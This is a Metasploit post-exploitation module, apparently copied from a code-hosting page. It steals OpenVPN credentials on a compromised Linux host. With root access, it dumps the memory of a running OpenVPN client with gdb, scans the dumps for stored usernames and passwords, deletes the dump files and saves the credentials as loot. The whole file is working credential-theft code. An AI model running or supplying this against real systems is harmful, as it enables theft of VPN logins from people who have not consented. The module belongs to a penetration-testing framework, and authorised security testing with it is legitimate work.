89 lines
2.7 KiB
Ruby
89 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenVPN Gather Credentials',
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'Description' => %q{
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This module grab OpenVPN credentials from a running process
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in Linux.
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Note: --auth-nocache must not be set in the OpenVPN command line.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rvrsh3ll', # Discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
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],
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'Platform' => ['linux'],
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'SessionTypes' => ['shell', 'meterpreter'],
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'References' => [
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['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
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]
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))
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register_options(
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[
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OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
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OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
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], self.class
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)
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end
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def pid
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datastore['PID']
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end
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def tmp_path
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datastore['TMP_PATH']
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end
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def run
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user = cmd_exec('/usr/bin/whoami')
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print_good("Module running as \"#{user}\" user")
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unless is_root?
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print_error('This module requires root permissions.')
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return
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end
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dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
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if dump.chomp.to_i == 0
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vprint_good('Succesfully dump.')
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else
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print_warning('Could not dump process.')
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return
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end
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strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
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deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
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if deldump.chomp.to_i == 0
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vprint_good('Removing temp files successfully.')
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else
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print_warning('Could not remove dumped files. Remove manually.')
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end
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fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
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vprint_good("OpenVPN Credentials:\n#{strings}")
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p = store_loot(
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'openvpn.grab',
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'text/plain',
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session,
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strings,
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nil
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)
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print_status("OpenVPN Credentials stored in #{p}")
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end
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end
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